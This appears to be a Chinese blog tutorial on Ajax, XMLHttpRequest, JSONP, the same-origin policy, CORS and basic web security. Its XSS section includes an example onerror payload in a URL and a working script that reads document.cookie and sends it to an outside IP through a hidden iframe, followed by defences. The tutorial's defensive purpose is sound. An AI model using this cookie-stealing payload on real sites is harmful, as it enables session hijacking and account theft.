文章目录
  1. 1. Ajax 基础知识
    1. 1.1. XHR基本用法
    2. 1.2. XHR操作Http请求头部与响应头部的方法
    3. 1.3. XHR 2级
      1. 1.3.1. FormData 类型
      2. 1.3.2. overrideMimeType()
      3. 1.3.3. 进度事件
  2. 2. Ajax 原生使用及Jsonp实现
  3. 3. Ajax 解决浏览器的缓存方案
  4. 4. 同源策略
  5. 5. 规避同源策略(跨域方案)
    1. 5.1. 图像Ping
    2. 5.2. jsonp
    3. 5.3. WebSocket
    4. 5.4. window.name
    5. 5.5. window.postMessage
    6. 5.6. CORS
      1. 5.6.1. 简单请求
      2. 5.6.2. 非简单请求
  6. 6. Web 安全及防护
    1. 6.1. XSS
    2. 6.2. CSRF
    3. 6.3. sql 注入
  7. 7. 参考文献

总是在用ajax,但是原理实现并不清楚,总是会和同源策略打交道,但具体是什么也说不清楚,总在用跨域方案,但问我怎么跨域的又是不知其所以然,所以这篇文章就是解决自己的这些问题,如果你也是这种情况,那你也可以看看哦^^

Ajax 基础知识

Ajax是异步的JavaScript和XML,是无需重新加载整个网页的情况下能够更新部分网页的技术,用来进行局部交换。Ajax 使用是通过XMLHttpRequest对象进行操作

XHR基本用法

1) 创建一个XMLHttpRequest实例 var xhr = new XMLHttpRequest()
2) 启动一个请求 xhr.open(请求方法,请求路径,是否异步)
3) 给xhr对象的事件处理程序onreadystatechange绑定回调函数。 在异步情况下,可以通过检测xhr对象的readyState属性,这个属性表示当前的活动阶段。这个属性值发生变化时都会触发onreadystatechange事件。

注意: 必须在调用open()之前指定onreadystatechange事件处理程序才能确保跨浏览器的兼容性

4) 发送请求 xhr.send(),send()方法中的参数是作为http 请求body 发送的数据。不需要发送数据如get方法,则发送null
5) 收到响应后的数据会自动填充xhr对象。 无论内容类型是什么,响应主体的内容都会保存到responseText,status决定响应的状态

注意: 在xhr.open(请求方法,请求路径,同步)的时候 onreadystatechange 在firefox 浏览器下会出现问题,FF不会等到onreadystatechange状态4到来后在执行onreadystatechange的回调,较好的解决方法是:加入浏览器类型分析,然后针对FF单独处理,解决方案

XHR操作Http请求头部与响应头部的方法

以上是XHR的基本用法,除此之外,XHR还提供了操作Http请求头部与响应头部的方法:
1) 默认情况下,在发送XHR请求的同时,会发送这些头部:Accept ,Accept-Charset,Accept-Encoding,Accept-Language, Connection,Cookie,Host,Referer(发出请求的页面的URI),User-Agent
2) 可以自定义发出的请求头 xhr.setRequestHeader(name,value).

注意:必须在调用open()方法之后且调用send()方法之前调用setRequestHeader

3) 调用xhr.getResponseHeader(name) 可以取得相应的响应头部信息。 调用getALlResponseHeaders() 可以得到包含所有头部信息的字符串。
4) 在发送GET请求时,查询字符串中的每个参数的名称和值都必须使用encodeURIComponent()进行编码,所有键值对用&分隔

XHR 2级

FormData 类型

FormData类型可以用来序列化表单数据

1
2
3
4
5
var data = new FormData()
data.append(name,value);
// or
var form = document.getElementById("form")
xhr.send(new FormData(form)

使用FormData时不用设置XHR对象上的请求头(在xhr 0级时还需要进行设置 application/x-www-form-urlencoded),xhr能够识别传入的数据类型是FormData的实例,并自动的配置适当的头部信息。

overrideMimeType()

此方法用于重写浏览器处理响应的MIME类型

进度事件

loadstart ,progress,error,abort,load,loadend

Ajax 原生使用及Jsonp实现

以下代码时ajax的原生使用 还包括对于jsonp的使用,低对于jsonp 的具体解释在 跨域方案中进行解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// 原生Ajax实现
function ajax(params){
params = params || {}
params.data = params.data || {}
// 判断是ajax 请求还是jsonp请求
var json = params.jsonp?jsonp(params):json(params);
function json(params){
params.type = (params.type || 'GET').toUpperCase()
// 避免有特殊字符,必须格式化传输数据
params.data =params.type=='GET' ? formatParams(params.data):params.data;
var xhr = null;
// 实例化 XMLHttpRequest对象
if(window.XMLHttpRequest){
xhr = new XMLHttpRequest();
} else {
// ie6及其以下版本
xhr = new ActiveObject('Microsoft.XMLHTTP');
}
// 监听事件只要readyState的值发生变化,就会调用readystatechange事件
xhr.onreadystatechange = function (){
if(xhr.readyState === 4){
var status = xhr.status;
if(status>=200 && status<300 || status === 304){
var response = ''
// 判断接收数据的内容类型
var type = xhr.getResponseHeader('Content-type')
// 无论内容类型是什么,响应body中的内容都会保存到responseText 属性中。
response = xhr.responseText;
params.success && params.success(response)
}else{
params.error && params.error(response)
}
}
}
// 连接和传输数据
if( params.type.toUpperCase() === 'GET'){
xhr.open(params.type,params.url+'?'+params.data,true)
xhr.send(null)
} else {
xhr.open(params.type,params.url,true)
// 设置提交时的内容类型
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded,text/html,application/json,charset=UTF-8')
xhr.send(params.data)
}
}
function formatParams(data){
var arr = []
for(var name in data){
// encodeURIComponent():用于对URI中的某一部分编码
arr.push(encodeURIComponent(name) + '=' +encodeURIComponent(data[name]))
}
// 添加一个随机参数,防止缓存
arr.push('v='+random())
return arr.join('&')
}
function random(){
return Math.floor(Math.random()*1000);
}
function jsonp (params){
// 创建script标签并加入页面中
var callbackName = params.jsonp;
var head = document.getElementsByTagName("head")[0];
// 设置传递给后台的回调参数名
params.data['callback'] = callbackName
var data = formatParams(params.data)
var script = document.createElement('script')
head.appendChild(script)
window[callbackName] = function(json){
head.removeChild(script);
params.success && params.success(json)
window.callbackName = null
}
// 发送请求
script.src = params.url +'?'+data
}
}
// =======================使用案例=======================================
ajax({
url:'http://localhost:3000/ajax',
type:'GET',
data:{
'hi':'comeon'
},
success:function(res){
console.log(res)
},
error:function(error){
console.log(error)
}
})
ajax({
url:'http://localhost:3000/jsonp',
jsonp: 'jsonpCallback',
data:{
'hi':'comeon'
},
success:function(res){
console.log(res)
},
error:function(error){
console.log(error)
}
})

后端可采用 node

1
2
3
4
5
6
7
app.get('/ajax', function(req, res){
res.json({a:'this is from server for ajax'})
})
app.get('/jsonp', function(req, res){
res.jsonp({
'a':'this from server for jsonp'})
})

Ajax 解决浏览器的缓存方案

  1. 在ajax发送前添加 xhr.setRequestHeader(‘If-Modified-since’,’0’)
  2. 在ajax发送前添加 xhr.setRequestHeader(‘Cache-Control’,’no-cache’)
  3. 在URL后面添加随机数 :’a=’+Math.random()
  4. 在URL后面添加时间戳’time=’+new Date().getTime()
  5. 如果是jQUery,可以$.ajaxSetup({cache:false})

同源策略

ajax 能异步刷新页面了,这是多流弊的事情,然而再牛还是有克星,那就是同源策略。ajax 只能在同源下使用。那同源策略是什么呢?
同源必须是: 协议相同、域名相同、端口相同。完了,就这样。

  1. Http:// 2. www . 3. abc.com : 4. 8080 / 5. scripts/jquery.js
    1.协议 2.子域名 3.主域名 4.端口号 5.请求资源地址

当协议、子域名、主域名、端口号中任意一个不相同时,都算作不同域。不同域之间相互请求资源,都算作“跨域”。在JS的同源策略下,a.com域名下的JS无法操作b.com或c.com域名下的对象。
同源策略是很重要的,不然浏览器整个就不安全了,恶意网站随意更改你网站的信息获取消息啥的。。。。

在同源策略下,有三种行为会受到限制:

Cookie,LocalStorage和 IndexDB 无法获取
DOM 无法获取
Ajax 无法发送

在很长一段时间 我是搞不清楚同源策略和跨域资源共享的(CORS),我总觉得是一回事,然而他俩是鸡和蛋的关系。

规避同源策略(跨域方案)

浏览器就是这样叼。在给了加了层围墙之后发现不行还得出去,就会给你再开一道门,然后弄几个通行证。在浏览器没有开通门之前,迫于无奈,总是会有一些hack出现。

在 学习跨域方案时,我发现了阮一峰老师的两篇博文 浏览器同源政策及其规避方法跨域资源共享 CORS 详解 ,写的是真好啊,但是老师的毕竟不是自己的,所以想用自己的思路解释一下。

图像Ping

一个网页可以从任何网页中加载图像,不用担心跨域。图像Ping 是与服务器进行简单、单向的跨域通信的一种方式 ,请求的数据是通过查询字符串形式发送的,而响应可以是任意内容。通过图像Ping,浏览器得不到任何具体的数据,但通过监听load 和error 事件,能知道响应是什么时候收到的。

1
2
3
4
5
var img = new Image();
img.onload = img.onerror = function(){
alert("收到了!")
}
img.src="http://baidu.com/a?a=b";

jsonp

基本思想是:网页通过<script>标签来向服务器请求JSON数据,将从服务器得到的数据放入在请求url指定的回调函数中。由于回调函数名称只能在url中进行指定,所以只能发送GET请求。实现参看上面的 Ajax 原生使用及Jsonp实现 .

WebSocket

WebSocket 是一种通信协议,使用非加密的ws:// 和加密的wss://作为协议前缀。这个协议是不实行同源策略的,只要服务器支持,就可以通过它进行跨源通信。服务器会根据来自浏览器请求头中的origin字段来判断这个域名是否在白名单中,依次作出响应。

window.name

window对象有个name属性,该属性特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name 的,每个页面对window.name 都有读写权限,window.name 是持久存在一个窗口载入过得所有页面中。

window.postMessage

CORS

哈哈哈。。。。先笑两声。。。因为我觉得这是最好的方案了,简单易行。对于浏览器来说只要版本比较新就可以啦,根本不用设置什么。对于服务器也只是简单的设置,所以最好用啦。那CORS是个什么咧?
CORS是跨域资源共享(Cross-origin resource sharing),允许浏览器向跨源服务器,发出Ajax请求,不用在乎同源限制。整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的Ajax通信没有差别,代码完全一样。浏览器一旦发现Ajax请求跨域,就会自动添加了一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

CORS 的基本思想就是: 使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

浏览器将CORS请求分成两类: 简单请求 和 非简单的请求

简单请求

当请求方法是HEAD,GET,POST方法之一,HTTP头信息不超过Accept,Accept-Language,Content-Language,Last-Event-ID,Content-type这些字段,并且Content-type这个字段的值限于application/x-www-form-urlencoded,multipart/form-data,text/plain这三种值。
满足了上面的请求就是简单请求。
对于简单请求,浏览器会直接发出CORS请求。 具体是直接在头信息中,增加一个origin字段,origin字段用来说明请求来自哪个域(协议+域名+端口)。服务器根据这个值来判断是否同意这个请求。
如果服务器认为这个请求是可以接受的,就在Access-Control-Allow-Origin头部中回发相同的源信息(如果是公共资源,可以回发”*”)。

非简单请求

除了简单请求之外就是非简单请求。 对于非简单请求,会在正式通信前,增加一次HTTP查询请求,称为”预检”请求(preflight),是一种叫做 Preflighted Requests 的透明服务器验证机制。

浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单中,以及可以使用哪些HTTP请求方法和头信息字段,只有得到肯定的回复,浏览器才会发出正式的XMLHttpRequest请求,否则就会报错。

预检请求使用的方法是 OPTIONS,表示这个请求是用来询问的。 若是浏览器在发请求时 自定义了请求头 xhr.setRequestHeader('X-Custom-Header','hahha'),则在发送预检请求时在请求头中会出现Access-Control-Request-Headers:X-Custom-Header

一旦浏览器通过了预检请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin字段,服务器的回应,也都会有一个Access-Control-Allow-Origin字段。

但是在实际测试时 当前后端不分离的情况下这种非简单请求是可以跨域的,但是在前后端分离的情况下,这种非简单请求是不可以跨域的,这是为什么呢? 我还不清楚,你若是知道,可以留言告诉我么?

除了上面的方法之外,还有像iFrame ,document.cookie跨二级域名,window.name 等方法,对于Iframe 我并没有实际使用过,等以后再总结吧。

Web 安全及防护

XSS

XSS 全称“跨站脚本攻击”,是注入攻击的一种。原理是攻击者通过“HTML注入”篡改了网页,插入了恶意的脚本,在用户浏览网页时,控制了用户浏览器的一种攻击方式。主要包括反射型XSS 和存储型XSS。

反射型XSS 是指xss代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。 如
http://ip:port?<img src="null" onerror="alert(2)"> 这种情况等。

存储型XSS 是指恶意的脚本保存在服务器端。

通过XSS攻击,也可以设置利用js脚本调用document.cookie 以窃取Cookie 信息,盗走用户的session_id ,然后使用此会话id伪装成用户,以达到攻击的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);

防范措施:

  1. 将URL 进行编码。 将’>’编码成’&gt’等。 也可以使用encodeURI 和encodeURIcomponent。也可以使用he这个模块。

    encodeURI 和encodeURIcomponent的区别

 - encodeURI方法不会对下列字符编码 ASCII字母、数字、~!@#$&*()=:/,;?+’

 - encodeURIComponent方法不会对下列字符编码 ASCII字母、数字、~!*()’
所以encodeURIComponent比encodeURI编码的范围更大。实际例子来说,encodeURIComponent会把 http:// 编码成 http%3A%2F%2F 而encodeURI却不会。

  • 如果你需要编码整个URL,然后需要使用这个URL,那么用encodeURI

  • 当你需要编码URL中的参数的时候,那么encodeURIComponent是最好方法。

  1. 过滤: 移除用户上传的DOM 属性,如onerror,移除用户上传的style节点、script节点、Iframe节点、frame节点

  2. 校正: 避免直接对HTML Entity 进行解码,使用DOM parse 转换。校正不配对的DOM标签。 这种情况可以避免DOM Based XSS。这种攻击可以是使用了href过早的闭合然后添加onclick 属性造成DOM节点的修改进行攻击。

  3. httpOnly: 这只能解决xss 后的cookie 劫持攻击 。如果网站不需要在浏览器端对cookie 进行操作,可以在Set-Cookie末尾加上HttpOnly来防止javascript代码直接获取cookie。

CSRF

CSRF:”跨站点请求伪造”攻击 是指攻击者通过设置好的陷阱,对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。即一些恶意的对服务器的请求是攻击者伪造的。CSRF 可以通过XSS 实现。

案例情景:

1. 用户A认证了用户A身份,在网站上留下了Cookie           
2. 另一个人 留下评论<img src="http://tongyige.com/....." onclick="">          
3. 用户A触发陷阱。。。            

sql 注入

sql注入是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

参考文献

  1. 阮一峰 浏览器同源政策及其规避方法
  2. 阮一峰 跨域资源共享 CORS 详解
文章目录
  1. 1. Ajax 基础知识
    1. 1.1. XHR基本用法
    2. 1.2. XHR操作Http请求头部与响应头部的方法
    3. 1.3. XHR 2级
      1. 1.3.1. FormData 类型
      2. 1.3.2. overrideMimeType()
      3. 1.3.3. 进度事件
  2. 2. Ajax 原生使用及Jsonp实现
  3. 3. Ajax 解决浏览器的缓存方案
  4. 4. 同源策略
  5. 5. 规避同源策略(跨域方案)
    1. 5.1. 图像Ping
    2. 5.2. jsonp
    3. 5.3. WebSocket
    4. 5.4. window.name
    5. 5.5. window.postMessage
    6. 5.6. CORS
      1. 5.6.1. 简单请求
      2. 5.6.2. 非简单请求
  6. 6. Web 安全及防护
    1. 6.1. XSS
    2. 6.2. CSRF
    3. 6.3. sql 注入
  7. 7. 参考文献